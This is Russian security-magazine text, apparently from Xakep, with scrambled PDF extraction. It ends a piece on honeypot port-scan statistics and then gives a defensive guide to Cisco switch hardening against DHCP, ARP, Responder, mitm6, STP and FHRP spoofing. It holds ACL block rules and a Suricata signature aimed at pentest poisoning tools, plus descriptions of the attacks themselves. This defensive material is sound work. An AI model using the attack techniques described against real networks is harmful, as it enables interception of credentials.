при вожу резуль таты чем пиона та мира по неп рошено му опро су пор тов
за месяц (интегра ция с GeoIP поз воля ет генери ровать мет рики с при вяз кой
по стра нам).

С серь езным отры вом лидиру ет зона RU, но не все так прос то. Почему —
покажу поз же. Десят ка самых опра шива емых пор тов TCP выг лядит вот так.

Страс ти по тел нету намека ют на какую-то серь езную эпи демию сре ди роуте- 
ров (?), зап росы к пор ту 6379 — спрос на уста нов ленные «не при ходя в соз- 
нание» сер веры Redis, а вот пор ты 2222, 22322 и 22222 — это что-то новень- 
кое, так как, нап ример, месяц назад они в выбор ке отсутс тво вали. Впол не
веро ятно, мы име ем дело с какой-то све жей проб лемой. При этом пор- 
ты 23 и 6379 вызыва ют наиболь ший инте рес из Китая, а стран ный инте рес
к дво ечкам — из США.

Кста ти, поряд ка 30% субъ ектов име ют откры тый порт, ана логич ный тому,
к которо му они обра тились (выбор ка для пор та 6379). А вот для пор та 23
(Telnet) этот показа тель пада ет до 15%. Рай для про даж ников решений
защиты: кли енты сами сту чат ся в две ри! Если, конеч но, тво их тех нарей
не сму щают кап чи вро де вот таких.

UDP всех инте ресу ет на порядок мень ше, но тем не менее за месяц набира- 
ется ощу тимое чис ло зап росов.

Смот ришь на пер вую трой ку, и в голову при ходят фра зы: «Как зовут? Вре мя
ско ка? Поз вонить есть?» При чем две тре ти воп роша ющих даже не инте ресу- 
ется, как зовут, сра зу перехо дят к «поз вонить».

Мо жет воз никнуть воп рос: а какие пор ты самые сек ретные? Дол жна же
ста тис тика дать нам ответ на воп рос? Не сом невай ся! По моим дан ным,
самый сек ретный порт — 58699. За все вре мя наб людения им поин тересо- 
вались пять раз. Вся десят ка выг лядит так.

Тут сто ит отме тить, что прак тика выноса служб на нес тандар тные пор ты, нес- 
мотря на свою кажущу юся «кол хозность», сущес твен но сни жает шан сы вле- 
теть под пер вую вол ну атак, которая соп ровож дает появ ление новой зна- 
чимой уяз вимос ти.

Да же если периметр не прик рыт блок-лис тами, ник то в здра вом уме
не будет зас тавлять ботов занимать ся тоталь ным ска ниро вани ем, так как это
сущес твен но замед ляет про цесс, мак симум — отра бот ка по наибо лее веро- 
ятным пор там. Поэто му какой-нибудь Citrix Netscaler име ет шан сы про тянуть
в сво ем пер воздан ном виде нем ного подоль ше. У его вла дель цев хотя бы
будет шанс успеть выкачать пат чи с тор рентов и про верить, что в них нет тро- 
янов, до того как боты перей дут к работе по дан ным, забот ливо соб ранным
кон торами типа Shodan.

Спус тя нес коль ко месяцев работы спи сок бло киро вок сос тавля ет боль- 
ше 11 000 адре сов, при общей базе, а так или ина че отме тив шихся —
154 000. Сред няя при бав ка — око ло 1200 записей в сут ки пос ле «прог рева»,
при чем замет ны вол ны. Нап ример, вот так выг лядит гра фик регис тра ции
новых адре сов (пик в начале — это оче вид ное следс твие «холод ного» пус ка).

А так выг лядит рас клад ка по наци ональ ным сег ментам в зависи мос ти
от «плот ности» генери руемо го тра фика (отно шение чис ла зап росов к чис лу
зас ветив шихся источни ков).

Ли деры, пря мо ска жем, неожи дан ные. Впро чем, при бли жай шем рас смот- 
рении выяс няет ся, что в зонах AZ, NL, EE и BG фун кци они руют пос тоян ные
ска неры, на фоне которых регуляр ная активность прос то теря ется. Раз ница
в плот ности зап росов меж ду пер вым мес том (1400 пакетов на адрес) и зоной
HK с почет ного шес того мес та — 30 раз (45 пакетов на адрес).

Сре ди опе рато ров передо вой сети, в которой сидят самые любопыт ные
граж дане, если верить Whois, в начале фигури рует GB (Великоб ритания),
потом DE (Гер мания), а в кон це — AZ (Азер бай джан). Будем счи тать, что
это бри тан ские уче ные занима ются науч ными раз работ ками. Там же, кста ти,
ука зан телефон и кон так тное лицо в Гер мании, так что жела ющие могут поз- 
вонить и уточ нить детали.

ÀÍÃËÈ×ÀÍÊÀ ÑÊÀÍÈÒ

Раз уж мы выяс нили, что основная часть тра фика — это целенап равлен ный
сбор информа ции, почему бы не выделить активные источни ки. Если адре са
агре гиро вать по сег ментам , то мы получим 16 519 таких источни ков./24

По рого вое зна чение для отсечки неп редна мерен ного инте реса под берем
на осно ве извес тных субъ ектов, в час тнос ти один из самых мед ленных ска- 
неров, что уда лось обна ружить, записан на The Shadow Server Foundation (их
адрес фигури ровал в раз деле про lazyscan), он генери рует не более 400 зап- 
росов в месяц. Что бы был запас, умень шим зна чение до 100 (это зна чит, что
для попада ния в отчет за месяц из сети клас са C дол жно прий ти
не менее 100 пакетов). Резуль тат выг лядит так.

Мы в трой ке, но не спе ши дос тавать ушан ку и балалай ку. Если деталь нее пос- 
мотреть спи сок под сетей, отне сен ных к зоне RU, то выяс нится, что 95% тра- 
фика выда ют пять из них. И сог ласно Whois, конеч ный арен датор пер вых трех
сег ментов — это орга низа ция из Великоб ритании, чет верто го — из CY
(Кипр), а пятая — из UA (Укра ина). Поэто му, стро го говоря, в номина ции
«самый сме лый ска нер» мы не прош ли даже отбо роч ный тур.

Ког да у нас на руках есть перечень ано маль ных сетей, мы можем его
вычесть из обще го мас сива и соот нести чис ло оставших ся адре сов с раз- 
мером наци ональ ного сег мента. Таким обра зом мы получим приб лизитель- 
ное понима ние, кто эффектив нее рас ходу ет IP-прос транс тво на под держа ние
искусс твен ной жиз ни в интерне те.

Про ще говоря, на каж дые 10 000 адре сов в Эфи опии при ходит ся три, которых
тянет поз накомить ся с нами поб лиже.

А вот у этих пар ней всё под кон тро лем.

В целом без неожи дан ностей, если не счи тать наличия в спис ке ЮАР. При чем
это не ано малия, так как чис ло зап росов, источни ков и раз мер наци ональ- 
ного сег мента срав ним с соседя ми.

Воз вра щаясь к теме под бора паролей к учет ным записям SSH. Модуль
отсле жива ния попыток аутен тифика ции поз воля ет выяв лять бот-сети, так
как кон трол лер вынуж ден заменять бло киро ван ные эле мен ты новыми, пос- 
тепен но рас кры вая свои воз можнос ти. За два месяца лов ли было зафик-
сирова но более 4000 адре сов, занима ющих ся подоб ной прак тикой. В таб- 
лице ниже — десят ка основных источни ков.

Не удач ные попыт ки вхо да, ско рее все го, озна чают, что кон крет ный адрес
не толь ко раз дает кар тинки с котята ми, но и под рабаты вает на сто рону. Если
сгруп пировать адре са из зоны RU по опе рато рам, получит ся сле дующее.

Есть мне ние, что мар кетоло ги могут записать в свои кни жеч ки новый спо соб
опре деле ния долей рын ка хос тинга и пре дос тавле ния услуг дос тупа
в интернет. А то как ни почита ешь пресс-релизы, так у нас три десят ка игро- 
ков в отрасли и все лидеры, а тут на осно ве «при род ной активнос ти» мож но
раз вить целую теорию.

Вот свод ная таб лица по наибо лее популяр ным поль зовате лям,
под которы ми осу щест вля ются попыт ки дос тупа.

Боль ше все го удив ляет инте рес к учет ной записи root, пароль ный вход
для которой дав но и проч но отклю чен в SSH по умол чанию во всех основных
дис три бути вах. Но, судя по все му, это осно вопо лага ющее тре бова ние
наруша ется сплошь и рядом.

ÏÅÐÑÏÅÊÒÈÂÛ

У тебя может воз никнуть логич ный воп рос: как ска неры могут обой ти
перечис ленные мной меры и ког да вся кон цепция прев ратит ся в тык ву?
В час ти обхо да методик не так мно го. Основная кон цепция мало уяз вима:
откры тых пор тов мало, а зак рытых мно го, так что шан сы не в поль зу ата- 
кующей сто роны. Что бы заг реметь в блок, дос таточ но оши бить ся все го нес- 
коль ко раз.

В кон це кон цов, всег да мож но взять дешевых VPS в раз ных сег ментах
(аген ты лег ко работа ют на одно ядер ной машине с 1 Гбайт памяти) и бло- 
киро вать любого, кто зас ветил ся на них хоть раз.

У кон цепции greyport есть оче вид ная сла бость, так как для «про дав- 
ливания» бло киров ки дос таточ но уве личить чис ло зап росов, но тут на помощь
при ходит извес тный тезис: «что бы убе жать от тиг ра, не нуж но бегать быс трее
всех, дос таточ но бежать не пос ледним».

По ка стра тегия сбо ра информа ции дос таточ но эффектив на, поводов
для ее утя желе ния нет. Поэто му зай мут ся обхо дом опи сан ных мер толь ко тог- 
да, ког да она перес танет работать, а это го в бли жай шем будущем не слу чит- 
ся.
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Спу финг-ата ки прос ты в исполне нии,
но при этом несут огромный импакт. В этой
статье мы погово рим о них с точ ки зре ния
защит ников. Слож ность в том, что бы с умом
интегри ровать решения сетевой безопас- 
ности в про дак шен и при этом не сло мать
биз нес-про цес сы. При такой интегра ции
нуж но хорошо понимать работу сети и осо-
бен ности обо рудо вания. Толь ко тог да тебя
ждет успех.

Эта статья — ни в коем слу чае не инс трук ция для защиты любой сети, потому
что у каж дой из них свои осо бен ности и всег да пот ребу ется какой-то тюнинг.
Я буду демонс три ровать работу на обо рудо вании Cisco, но с железом дру- 
гого вен дора прин ципи аль ной раз ницы нет. Кон цепция механиз мов безопас- 
ности вез де оди нако вая, и отли чия будут лишь в син такси се нас тро ек
и некото рых нюан сах реали зации.

Нем ного особ няком сто ит толь ко сис тема RouterOS, на которой работа ет
обо рудо вание MikroTik. Там отсутс тву ет один из глав ных, на мой взгляд,
механиз мов безопас ности — Dynamic ARP Inspection. Вмес то него про изво- 
дитель фак тичес ки пред лага ет вес ти толь ко ста тичес кую ARP-таб лицу, а, учи- 
тывая раз меры сов ремен ных кор поратив ных сетей, это в прин ципе нерен- 
табель но. Так же в RouterOS отсутс тву ет RA Guard, пре дот вра щающий ата ки
на сер вер DHCPv6.

Еще ого ворюсь, что этот матери ал — не все объ емлю щий ману ал
по защите от спу фин га. Атак может быть бес конеч но мно го, и мы рас смот рим
лишь основные из них.

DHCP SNOOPING

DHCP Snooping — это фун кция сетевой безопас ности на уров не ком мутации.
Она поз воля ет защитить сетевые сег менты от атак на DHCP-сер вер. К ним
отно сят ся сле дующие виды:

 — вызыва ет исто щение адресно го прос транс тва

на легитим ном DHCP-сер вере, рас сылая лож ные DHCPDISCOVER-сооб- 
щения от раз ных MAC-адре сов источни ка. DHCP-сер вер будет реаги- 
ровать на сооб щения и выдавать адре са. Пос ле ата ки DHCP-сер вер
не смо жет обслу жить новые хос ты. Обыч но эту ата ку исполь зуют либо
для дес трук тивно го воз дей ствия, либо для ата ки DHCP Spoong;

• DHCP Exhaustion

 — соз дание лож ного DHCP-сер вера, который будет

обслу живать кли ентов сети. Опас ность ата ки зак люча ется в том, что ата- 
кующий в информа ции о шлю зе по умол чанию прос то уста новит свой
адрес и тем самым про ведет MITM-ата ку, так как тра фик хос тов будет идти
в его сто рону.

• DHCP Spoofing

Нас трой ка Snooping — это, по сути, наз начение доверен ных и недове рен ных
пор тов. На недове рен ных пор тах будут отсле живать ся все DHCP-сооб щения.
Цель в том, что бы про верить, сге нери рова ны ли они DHCP-сер вером. Ведь
ежу понят но: если в поль зователь ском сег менте мы будем видеть сооб щения
вро де ,  и , то это однознач но ано малия

и в поль зователь ской сети находит ся DHCP-сер вер.

DHCPLEASEQUERY DHCPOFFER DHCPACK

Ра бота DHCP Snooping

На доверен ных же пор тах все DHCP-сооб щения будут счи тать ся легитим- 
ными. Обыч но доверен ные пор ты нас тра ивают ся на соеди нени ях меж ду ком- 
мутато рами и мар шру тиза тора ми, а недове рен ные кон фигури руют ся на пор- 
тах, куда под клю чают ся конеч ные стан ции (нап ример, компь ютер, прин тер,
точ ки дос тупа, VoIP).

Те перь к кон фигура ции. Пред положим, перед нами ком мутатор Cisco. Его
порт g0/2 смот рит в сто рону мар шру тиза тора, а зна чит, этот порт нуж но обя- 
затель но сде лать доверен ным для DHCP Snooping, так как это про межу точ- 
ное устрой ство, от которо го могут лететь легитим ные DHCP-сооб щения.
Может быть, DHCP-сер вер находит ся на самом роуте ре или даже за роуте- 
ром (в таком слу чае при меня ют DHCP Relay). А пор ты f0/1-24 — это пор ты,
к которым под клю чают ся конеч ные стан ции, их нуж но сде лать недове рен- 
ными, пос коль ку имен но от поль зователь ских под клю чений есть риск ата ки
на DHCP. Заметь, DHCP Snooping вклю чает ся имен но на сег ментах VLAN.
Еще нуж но ука зывать адрес авто ризо ван ного DHCP-сер вера, который дос- 
тупен через доверен ный порт ком мутато ра.

Все пор ты по умол чанию недове рен ные, поэто му нам нуж но явно ука зать,
какие пор ты будут доверен ными. Затем гло баль но вклю чить DHCP Snooping
и Snooping-про цесс для сег мента VLAN.

NightmareSwitch(config)# interface g0/2
NightmareSwitch(config-if)# ip dhcp snooping trust
NightmareSwitch(config)# ip dhcp-server <IP ADDRESS>
NightmareSwitch(config)# ip dhcp snooping
NightmareSwitch(config)# ip dhcp snooping vlan <VLAN ID>

Те перь ком мутатор будет насыщать таб лицу DHCP Snooping, занося в нее
MAC, IP, VLAN ID кли ентов, получив ших адрес по DHCP.

При необ ходимос ти мож но соз дать ста тичес кую запись в базе дан ных
DHCP Snooping:

NightmareSwitch(config)# ip dhcp snooping binding <MAC> vlan <VLAN 
ID> <IP ADDRESS> interface <INTERFACE ID> expiry <SECONDS>

Ко ман ды для отладки и про вер ки сос тояния DHCP:

NightmareSwitch(config)# show ip dhcp snooping
NightmareSwitch(config)# show ip dhcp snooping statistics
NightmareSwitch(config)# show ip dhcp snooping binding

Для надеж ности необ ходимо записы вать содер жимое таб лицы DHCP
Snooping в память ком мутато ра: вдруг свитч вне зап но уйдет в перезаг рузку,
а таб лица DHCP Snooping потеря ется. Если это будет вмес те с Dynamic ARP
Inspection, то мы получим сетевой паралич.

NightmareSwitch(config)# ip dhcp snooping database flash:/snooping.db

Кста ти, базу дан ных Snooping мож но не толь ко хра нить в памяти ком мутато ра,
но и передать по служ бам FTP, HTTP, RCP, SCP, TFTP.

NightmareSwitch(config)# ip dhcp snooping database ?
 flash: 
 ftp: 
 https: 
 rcp: 
 scp: 
 tftp: 
 : timeout
 write-delay 

DAI & IPSG
Обыч но Dynamic ARP Inspection (DAI) нас тра ивает ся вмес те с DHCP Snooping,
так что это, по сути, про дол жение пре дыду щей час ти.

DAI поз воля ет пре дот вра щать ARP-спу финг внут ри сети бла года ря отсле- 
жива нию все го ARP-тра фика. И здесь есть очень важ ный момент. Что бы
инспек ция работа ла, ей нуж но на чем-то осно вывать ся, и вся ее работа 

 от DHCP Snooping. DAI на осно ве таб лицы DHCP Snooping

будет про верять валид ность ARP-отве тов, то есть про верять, дей стви тель но
ли такая при вяз ка MAC-адре са и IP-адре са есть внут ри сети. Если нет, то DAI
мгно вен но заб локиру ет такой тра фик.

íàï- 

ðÿìóþ çàâèñèò

Од нако при интегра ции DAI в про дак шене нуж но позабо тить ся о том, что- 
бы таб лица DHCP Snooping была пол ностью насыще на. То есть в нее дол жны
попасть абсо лют но все хос ты внут ри сети. В про тив ном слу чае тра фик
не попав ших туда легитим ных хос тов будет заб локиро ван, что нарушит биз- 
нес-про цес сы.

DAI обя затель но нас тра ивает ся пос ле DHCP
Snooping, и необ ходимо вре мя, что бы все хос ты
попали в таб лицу DHCP Snooping, ина че
получишь нерабо чую сеть, а DAI будет бло киро- 
вать вхо дящий тра фик от всех хос тов.

Нас трой ка DAI опи рает ся на ту же кон цепцию доверен ных и недове рен ных
пор тов. Как и в слу чае с DHCP Snooping, все пор ты ком мутато ра по умол- 
чанию недове рен ные. И в осталь ном то же самое: доверен ные пор ты —
это пор ты меж ду ком мутато рами и роуте рами, недове рен ные — поль- 
зователь ские пор ты. На недове рен ных пор тах сто ит вклю чить IP Source Guard
(IPSG), который будет про верять источник зап росов.

NightmareSwitch(config)# int g0/2
NightmareSwitch(config-if)# ip arp inspection trust
NightmareSwitch(config)# interface range f0/1-24
NightmareSwitch(config-if-range)# ip verify source

При необ ходимос ти мож но соз дать ARP ACL, что бы не про верять устрой ства
со ста тичес ким IP. Вдруг в тво ей сети есть хос ты со ста тичес ким адре сом.

NightmareSwitch(config-if)# arp access-list DAI
NightmareSwitch(config-arp-nacl)# permit ip host <IP> mac host <MAC>

Кста ти, для IPSG мож но тоже соз давать ста тичес кие записи внут ри ком- 
мутато ра, но это дела ется без ACL.

NightmareSwitch(config)# ip source binding <MAC> vlan <VLAN ID> <IP 
ADDRESS> interface <INTERFACE ID>

Про вер ка со сто роны DAI

За кон чив нас трой ку и убе див шись, что нуж ные ста тичес кие адре са забин- 
дились, а таб лица DHCP Snooping пол ностью насыще на, вклю чаем сам DAI.
DAI, как и DHCP Snooping, вклю чает ся имен но на сег ментах VLAN.

NightmareSwitch(config)# ip arp inspection vlan <VLAN ID>

ÎÁÍÀÐÓÆÅÍÈÅ È ÁËÎÊÈÐÎÂÊÀ ÈÍÑÒÐÓÌÅÍÒÀ RESPONDER

 — это инс тру мент пен тесте ров, поз воля ющий перех ватывать учет- 
ные дан ные внут ри сетевой инфраструк туры, в основном он при менят ся
в сре дах с Windows-машина ми. Одна ко пре вен тивные меры про тив
Responder обыч но закан чива ются лишь вык лючени ем MCAST-про токо лов,
таких как LLMNR, NBNS и MDNS.

Responder

В этой статье я пос тара юсь выжать мак симум из сетево го ком мутато ра
и поп робую защитить машины Windows от атак на эти про токо лы без вык- 
лючения самих про токо лов. Responder еще поз воля ет про водить нес тандар- 
тные ата ки на осно ве даун грей да, но они уже выходят за рам ки иссле дова ния,
и я рас смот рю толь ко основные меры бло киров ки.

Responder сос тоит из двух час тей:
 реаги рует на переда чу дан ных по про токо лам LLMNR, NBNS,

MDNS. То есть Responder в активном режиме прос лушива ет тра фик
и ждет, не появят ся ли они;

• ñíèô ôåð

 отве чает на зап росы раз решения имен по перечис ленным про- 
токо лам, в резуль тате чего Responder выда ет себя за зап рашива емые
ресур сы. То есть здесь воз ника ет сце нарий MITM (человек посере дине).
Ата кующий перех ватыва ет учет ные дан ные в зашиф рован ном виде (нап- 
ример, NetNTLMv2-SSP), а хеш получа ет при помощи лож ного SMB-сер- 
вера, так же запущен ного через Responder.

• Poisoner

Àíàëèç ïðîöåññà îòðàâëåíèÿ
Для обна руже ния нам нуж но за что-то зацепить ся. В этом слу чае — про ана- 
лизи ровать тра фик, в котором Responder про водил отравле ние зап росов
LLMNR, NBNS и MDNS. На скрин шотах ниже 10.10.100.128 — ата кующий,
10.10.100.129 — кли ент на Windows.

LLMNR-отравле ние

NBNS-отравле ние

MDNS-отравле ние

Кон цепция отравле ния зап росов с Responder

Как видишь, при отравле нии Responder исполь зует сле дующие пор ты:
для LLMNR — UDP/5355;•
для NBNS — UDP/137;•
для MDNS — UDP/5353.•

ACL
ACL (Access Control List) — это спе циаль ные механиз мы филь тра ции тра фика,
которые час то исполь зуют ся в компь ютер ных сетях. ACL — это прос то набор
усло вий: какой тра фик будет ожи дать ся и какое поведе ние ком мутато ра
или мар шру тиза тора будет при появ лении такого типа тра фика. При меры
при мене ния ACL:

 Инже нер сети сам реша ет, какой имен но тра- 

фик будет идти в VPN-тун нель, какой тра фик будет под вергать ся тран сля- 
ции (NAT) и так далее;

• óï ðàâëå íèå òðà ôèêîì.

 Инже нер сети может

исполь зовать ACL, нап ример, для огра ниче ния Smart Install, что бы толь ко
ранее доверен ные под сети мог ли обра щать ся к SMI. То же самое и с про- 
токо лами динами чес кой мар шру тиза ции вро де OSPF и EIGRP. И даже
с про токо лами резер вирова ния шлю зов: HSRP, VRRP, GLBP, CARP, ESRP;

• îã ðàíè÷å íèå òðà ôèêà ñåòåâûõ ïðî òîêî ëîâ.

 Тер миналь ные линии VTY исполь- 
зуют ся для уда лен ного управле ния сетевым устрой ством. ACL поз воля ют
нас тро ить огра ниче ние таким обра зом, что бы к VTY мож но было под клю- 
чать ся толь ко из доверен ных под сетей.

• îáåñ ïå÷åíèå áåçîïàñ íîñòè VTY.

ACL быва ют двух видов:
 — тра фик филь тру ется толь ко по IP-адре сам источни ка

и наз начения;
• Standard ACL

 — поз воля ет филь тро вать тра фик не толь ко по IP-адре- 

сам, но еще и по пор там источни ка и наз начения. Так же есть воз можность
про водить филь тра цию по типу про токо ла (ICMP, TFTP, GRE и так далее).

• Extended ACL

Нель зя ска зать, что Standard ACL луч ше, чем Extended ACL. Выбор меж ду
ними зависит от кон крет ных усло вий. Одна ко нас трой ка ACL не закан чива- 
ется толь ко их соз дани ем. Эти ACL нуж но еще и при вязы вать к интерфей сам.

VACL è VMAP
VACL (VLAN Access List) — это такой тип ACL, который может кон тро лиро вать
тра фик внут ри VLAN-сег мента. То есть как раз то, что нам необ ходимо. Соз- 
давать каж дый раз ACL и при вязы вать его ко всем пор там ком мутато ра
было бы слиш ком неудоб но, к тому же может пос тра дать мас шта биру емость.
Вмес то это го соз даем один про цесс VACL, и весь тра фик внут ри VLAN-сег- 
мента будет под кон тро лем.

Ра бота VACL у нас будет осно вана на двух аспектах:
ус ловии (скон фигури рован ные ACL с усло виями для пор тов, исполь зуемых
LLMNR и NBNS);

•

VACL-кар те (кар та филь тра ции для VLAN, сос тоящая из пра вил с номера- 
ми пос ледова тель нос тей).

•

Вот при мер кон фигура ции, которая будет бло киро вать UDP/5355 и UDP/137,
что бы ата ки при помощи Responder были невоз можны.

Сна чала необ ходимо соз дать два ACL-лис та:
рас ширен ный IPv4 ACL — для огра ниче ния тра фика Responder по IPv4;•
IPv6 ACL — для огра ниче ния тра фика Responder по IPv6. Да, Responder
может про лезть и под IPv6.

•

NightmareSwitch(config)# ip access-list extended ResponderIPv4
NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any
NightmareSwitch(config-ext-acl)# permit udp any eq 137 any

NightmareSwitch(config)# ipv6 access-list ResponderLLMNRIPv6
NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any

Я не стал бло киро вать UDP/5353, это тра фик про- 
токо ла MDNS. MDNS исполь зует ся для кор рек- 
тной работы прин теров, Chromcast, устрой ств
macOS. Его бло киров ка может при вес ти
к наруше нию работы этих устрой ств, а мой под- 
ход с VMAP дос таточ но агрессив ный. Пожалуй,
опти маль ное решение — это монито рить MDNS
на уров не IDS или попытать ся вык лючить через
кон фигура ции в Windows, нап ример через
реестр.

Я скон фигури ровал усло вия таким обра зом, что бы филь тро вал ся имен но
порт источни ка. С помощью конс трук ции  я
лишь соз даю усло вие. Если при летит тра фик, который попада ет под это усло- 
вие, он под вер гнет ся филь тра ции (либо я раз решу тра фик, либо зап рещу).
Кста ти говоря, NBNS не под держи вает IPv6, поэто му его пор та нет в IPv6 ACL-
лис те.

permit udp any eq <port> any

За тем нуж но соз дать VACL-кар ту, с соот ветс тву ющи ми seq numbers: 

и .

10
20

NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 10
NightmareSwitch(config-vlan-map)# match address ResponderIPv4
NightmareSwitch(config-vlan-map)# match ipv6 address 
ResponderLLMNRIPv6
NightmareSwitch(config-vlan-map)# action drop log

NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 20
NightmareSwitch(config-vlan-map)# action forward

Для  я соз даю цепоч ку, при которой тра фик, попада ющий под ACL-

лис ты, будет отбро шен, что отра зит ся в логах ком мутато ра (
).

seq 10
action drop 

log
Для  я раз решаю работу осталь ного тра фика, что бы не выз вать

неп редна мерен ный DoS ( ).

seq 20
action forward

За вер шит нас трой ку акти вация работы VACL. При этом нуж но ука зать,
для какой сети VLAN будет исполь зовать VACL.

Nightmare(config)# vlan filter BLOCKRESPONDER vlan-list <VLAN ID>

Ñèãíàòóðà äëÿ Suricata
Для Suricata я ради инте реса написал вот такую сиг натуру, которая поз волит
выяв лять LLMNR-отравле ние:

msg:alert udp any 5355 -> any any ( "△ LLMNR POISONING DETECTED △"; 
flow:stateless; content:"|80 00 00 01 00 01 00 00 00 00|"; sid:1337; 
rev:1; classtype:attack-feature;)

Продолжение статьи →

https://t.me/wearecaster
https://github.com/lgandx/Responder


ЗАЩИЩАЕМ СЕТИ 
ОТ СПУФИНГ-АТАК

АДМИН  НАЧАЛО СТАТЬИ←

ÁËÎÊÈÐÎÂÊÀ ÈÍÑÒÐÓÌÅÍÒÀ MITM6

 — один из самых популяр ных пен тестер ских инс тру мен тов. Он рас- 
сыла ет лож ные сооб щения DHCPv6, пос ле которых легитим ные Windows-
машины будут счи тать ата кующий хост DNS-сер вером на уров не IPv6.

Mitm6

Глав ная проб лема безопас ности здесь в том, что при ори тет
IPv6 в Windows гораз до выше IPv4 и при обра щении Windows к домен ным
име нам будет исполь зовать ся адрес DNS-сер вера на уров не IPv6. Сама
Windows при активном IPv6 вре мя от вре мени генери рует зап росы DHCPv6,
на которые будет триг герить ся mitm6.

Это при водит к MITM-ата ке, при которой зло умыш ленник смо жет перех- 
ватить учет ные дан ные поль зовате лей, а так же про вес ти серии Relay-атак.
Давай пос мотрим, как это будет про исхо дить на уров не тра фика. Нуж но
выявить ста тич ные дан ные, на осно ве которых и будет про водить ся бло- 
киров ка.

DHCPv6 Advertise от ата кующе го с SRC UDP PORT/547

В этом сце нарии  — ата кующий, а 
 — машина с Windows.
fe80::20c:29ff:fea1:7346 fe80::bc2c:

9f07:37b8:f7d1

Схе ма экс плу ата ции с mitm6

Mitm6 сге нери ровал сооб щение DHCPv6 , в рам ках которо го

отправ ляют ся дан ные о DNS-сер вере, в том чис ле сам IPv6-адрес ата кующе- 
го. Это и слу жит глав ным источни ком экс плу ата ции.

ADVERTISE

Еще мож но заметить, что на уров не тран спор та UDP исполь зует ся
порт 547, который стро го зарезер вирован для DHCPv6-отве тов со сто роны
сер вера. Оче вид но, если UDP-датаг рамма с пор том источни ка 547 будет
лететь внут ри сег мента, это говорит об ано малии и о том, что в поль зователь- 
ской сети находит ся сер вер DHCPv6. Сущес тву ет спо соб бло киров ки mitm6,
но слиш ком агрессив ный, так что я прос то заб локирую этот порт.

Áëîêèðîâêà íà îñíîâå VMAP

Здесь абсо лют но та же ситу ация, что и с бло киров кой Responder, и та же кон- 
цепция с ACL и VMAP-кар тами. Необ ходима серия нас тро ек, которая будет
бло киро вать порт UDP/547.

NightmareSwitch(config)# ipv6 access-list MITM6DHCPV6UDPSRC
NightmareSwitch(config-ext-acl)# permit udp any eq 547 any

Как в ситу ации с Responder, здесь тоже филь тру ется имен но порт UDP
источни ка с помощью конс трук ции .permit udp any eq 547 any

VACL-кар та с дву мя Sequence-номера ми:

NightmareSwitch(config)# vlan access-map BLOCKMITM6 seq 10
NightmareSwitch(config-vlan-map)# match ipv6 address 
MITM6DHCPV6UDPSRC
NightmareSwitch(config-vlan-map)# action drop log
NightmareSwitch(config)# vlan access-map BLOCKMITM6 seq 20
NightmareSwitch(config-vlan-map)# action forward

За вер шающая конс трук ция, акти вация VACL для некото рого сег мента VLAN:

NightmareSwitch(config)# vlan filter BLOCKMITM6 vlan-list <VLAN ID>

Те перь ком мутатор будет филь тро вать DHCPv6-сооб щения и не про пус тит
тра фик mitm6 в кон тек сте UDP/547. Это не поз волит ата кующе му навязать
себя в качес тве DNS-сер вера на уров не IPv6.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÄÅÐÅÂÀ STP

STP (Spanning Tree Protocol) — это L2-про токол, который защища ет компь- 
ютер ную сеть от широко веща тель ных штор мов, бло кируя избы точ ные
физичес кие соеди нения. Проб лема в том, что у Ethernet-кад ров нет поля TTL,
а широко веща тель ный тра фик будет бес конеч но бегать по каналь ным соеди- 
нени ям, если воз никнет ком мутаци онная пет ля. Про токол работа ет исклю- 
читель но на каналь ном уров не, и для обще ния исполь зуют ся фрей мы BPDU
802.3. Обыч но на управля емых ком мутато рах STP вклю чен по умол чанию.

Од нако ата кующий может отпра вить в сто рону ком мутато ра STP BPDU-
кадр с наимень шим зна чени ем при ори тета, что даст ему шанс перех ватить
роль кор невого ком мутато ра. Такой ход событий при водит либо к час тичной
MITM-ата ке, либо к DoS.

Го раз до луч ше с точ ки зре ния безопас ности вклю чить фун кцию BPDU
Guard. С ней ком мутатор будет логичес ки бло киро вать порт, на который при- 
шел BPDU-кадр. BPDU Guard в таком слу чае нас тра ивает ся на поль зователь- 
ских пор тах, куда под клю чает ся конеч ное обо рудо вание.

NightmareSwitch(config)# interface range f0/1-24
NightmareSwitch(config-if-range)# spanning-tree bpduguard enable

Схе ма при вклю чен ном BPDU Guard

Ес ли BPDU-кадр при летит со сто роны ата кующе го на порт ком мутато ра, порт
будет вык лючен.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÃÎÐß×ÅÉ ÑÈÑÒÅÌÛ ÐÅÇÅÐÂÈÐÎÂÀÍÈß FHRP

FHRP (First Hop Redundancy Protocol) — это семей ство сетевых про токо лов,
которые поз воля ют нес коль ким физичес ким мар шру тиза торам работать
как один логичес кий мар шру тиза тор с вир туаль ным IP-адре сом. Этот вир- 
туаль ный адрес будет наз начать ся в качес тве адре са шлю за по умол чанию
для конеч ных хос тов. Это повыша ет отка зоус той чивость сети и нуж но для сис- 
темы горяче го резер вирова ния. Самые рас простра нен ные про токо лы клас са
FHRP — это HSRP и VRRP.

Ти пич ная схе ма исполь зования FHRP

До мен отка зоус той чивос ти FHRP может быть ата кован. Так про исхо дит, ког да
лидиру ющие Active- (в HSRP) или Master- (в VRRP) мар шру тиза торы не име ют
мак сималь ного при ори тета в сво ей кон фигура ции или отсутс тву ет крип тогра- 
фичес кая аутен тифика ция.

Ес ли ата кующий выпол нит спу финг Active/Master-роли, он про ведет MITM-
ата ку и смо жет перех ватывать весь тра фик сег мента, в котором находит ся.
Так же он может выз вать Blackhole, и нор маль ная работа сег мента ока жет ся
прос то невоз можной. Нюанс еще в том, что про токо лы FHRP исполь зуют
MCAST-сооб щения, которые рас простра няют ся на весь сег мент сети, и даже
обыч ный поль зователь смо жет обна ружить пакеты FHRP.

Àóòåíòèôèêàöèÿ

Аутен тифика ция не поз волит «левым» мар шру тиза торам всту пить в про цесс
обес печения отка зоус той чивос ти. Если инже нер соб рался защищать FHRP
таким спо собом, то необ ходима стой кая пароль ная фра за.

При мер MD5-аутен тифика ции для HSRP:

NightmareRouter1(config-if)# standby X authentication md5 key-string 
<KEYSTRING>

При мер MD5-аутен тифика ции для VRRP:

NightmareRouter1(config-if)# vrrp X authentication md5 key-string <
KEYSTRING>

Ìàêñèìàëüíûé ïðèîðèòåò

Из сооб ражений безопас ности рекомен дует ся на Master- или Active-мар шру- 
